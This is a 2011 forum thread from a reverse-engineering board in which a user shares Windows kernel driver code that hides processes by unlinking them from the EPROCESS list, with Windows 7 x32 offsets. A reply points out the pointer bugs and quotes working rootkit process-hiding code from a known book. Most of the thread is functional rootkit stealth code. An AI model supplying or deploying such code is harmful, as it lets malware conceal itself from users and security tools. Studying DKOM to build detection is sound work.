A forum for reverse engineering, OS internals and malware analysis 

Ask your beginner questions here.
 #9461  by lorddoskias
 Sun Oct 30, 2011 9:51 pm
I'm experimenting with hiding a process through EPROCESS dkom. The idea is simple enough - acquire a pointer to an object in EPROCESS list, iterate, delete the entry you like. I believe I have done an implementation of the above idea - here is the code:

Some utility functions:
Code: Select all
int getPid(char *eproc) {
	int *pid;
	pid = (int *)(eproc + EPROCESS_PID_OFFSET);
	return *pid;
}

char * nextEproc(char  *eproc) {
	char *flink;
	LIST_ENTRY entry;

	entry = *(LIST_ENTRY *)(eproc + EPROCESS_LIST_OFFSET);
	flink = (char *)entry.Flink;

	return flink - EPROCESS_LIST_OFFSET;
}


char * prevEproc(char  *eproc) {
	char *blink;
	LIST_ENTRY entry;

	entry = *(LIST_ENTRY *)(eproc + EPROCESS_LIST_OFFSET);
	blink = (char *)entry.Blink;

	return blink - EPROCESS_LIST_OFFSET;
}

char * getName(char *eproc) {

	return eproc + EPROCESS_NAME_OFFSET;
}
The actual function that does the pointer manipulation (process removal):
Code: Select all
char * removeProc(char *eproc) {

	char *nextN;
	char *prevN;
	
	PLIST_ENTRY prevEntry;
	PLIST_ENTRY nextEntry;
	PLIST_ENTRY currEntry;

	nextN = nextEproc(eproc);
	prevN = prevEproc(eproc);

	prevEntry = (PLIST_ENTRY)prevN + EPROCESS_LIST_OFFSET;
	nextEntry = (PLIST_ENTRY)nextN + EPROCESS_LIST_OFFSET;
	currEntry = (PLIST_ENTRY)eproc + EPROCESS_LIST_OFFSET;

	//make previous skip us
	prevEntry->Flink = nextEntry;
	//make forward skip us
	nextEntry->Blink = prevEntry;
	//point to ourselves
	currEntry->Flink = currEntry->Blink = currEntry;
	
	DbgPrint("Successfully modified eproc list\n");

	//return pointer to the nextEproc
	return nextN;
}
And the "main" function which glues everything together:
Code: Select all
void hideProc() {
	char name[16];
	char *currentProc;
	char *currentName;
	int currentPid;
	int startPid;
	int count;
	int fuse = 100;
	count = 0;
	name[15] = '\0';

	currentProc = (char *)PsGetCurrentProcess();
	startPid = currentPid =  getPid(currentProc);

	strncpy(name, getName(currentProc), 15); //we copy only 15 because the 16th is set to \0

	DbgPrint("Starting process enumeration: current pid %d with name %s\n", startPid, name);

	currentProc = nextEproc(currentProc);
	currentPid = getPid(currentProc);

	while(startPid != currentPid) {

		strncpy(name, getName(currentProc), 15);
		DbgPrint("[Proc: %d] PID: %d Name: %s\n", count, currentPid, name);
		
		if(name[0] == 'h' && name[1] == 'i' && name[2] == 'd') {
			currentProc = removeProc(currentProc);
			currentPid = getPid(currentProc);
			continue;
		}

		currentProc = nextEproc(currentProc);
		currentPid = getPid(currentProc);
		if(fuse == 0)
			break;
		fuse--;
		count++;

	}

}
And the hard-coded constants, based on windows 7 x32:
Code: Select all
#define EPROCESS_PID_OFFSET  0x0b4
#define EPROCESS_LIST_OFFSET 0x0b8
#define EPROCESS_NAME_OFFSET 0x16c
Basically I iterate through the EPROCESS list and look for processes whose name start with hid and delete it from the eprocess. The thing is after this is completed when I open task manager I can see my process int he process list and also I silently corrupt memory somewhere because after an arbitrary amount of time my VM crashes with different faults.
 #9462  by rkhunter
 Sun Oct 30, 2011 10:46 pm
Your hard-coded constants are correct, but the code is a lot of complicated than actually, especially working with pointers. Error arises from the fact that you write to an invalid address to _EPROCESS.

Don't you think this code strange?
Code: Select all
PLIST_ENTRY prevEntry;
PLIST_ENTRY nextEntry;
PLIST_ENTRY currEntry;

prevEntry = (PLIST_ENTRY)prevN + EPROCESS_LIST_OFFSET;
nextEntry = (PLIST_ENTRY)nextN + EPROCESS_LIST_OFFSET;
currEntry = (PLIST_ENTRY)eproc + EPROCESS_LIST_OFFSET;
And this, with copy of kernel object memory:
Code: Select all
LIST_ENTRY entry;

entry = *(LIST_ENTRY *)(eproc + EPROCESS_LIST_OFFSET);
Working code from "Rootkits: Subverting the Windows Kernel".
Code: Select all
DWORD FindProcessEPROC (int terminate_PID)
{

   DWORD eproc       = 0x00000000;

   int   current_PID = 0;

   int   start_PID   = 0;

   int   i_count     = 0;

   PLIST_ENTRY plist_active_procs;

   if (terminate_PID == 0)

      return terminate_PID;

   // Get the address of the current EPROCESS

   eproc = (DWORD) PsGetCurrentProcess();

   start_PID = *((int *)(eproc+PIDOFFSET));

   current_PID = start_PID;

   while(1)

   {

      if(terminate_PID == current_PID) // found

         return eproc;

      else if((i_count >= 1) && (start_PID == current_PID))

      {

         return 0x00000000;

      }

      else { // Advance in the list.

         plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);

         eproc = (DWORD) plist_active_procs->Flink;

         eproc = eproc - FLINKOFFSET;

         current_PID = *((int *)(eproc+PIDOFFSET));

         i_count++;

      }

   }

}
Code: Select all
DWORD eproc = 0;

PLIST_ENTRY plist_active_procs;

// Find the EPROCESS to hide.

eproc = FindProcessEPROC (PID_TO_HIDE);

if (eproc == 0x00000000)

   return STATUS_INVALID_PARAMETER;

plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);

// Change the FLINK and BLINK of the rearward and forward EPROCESS blocks.

*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;

*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;

// Change the FLINK and BLINK of the process we are hiding so that when

// it is dereferenced, it points to a valid memory region.

plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);

plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);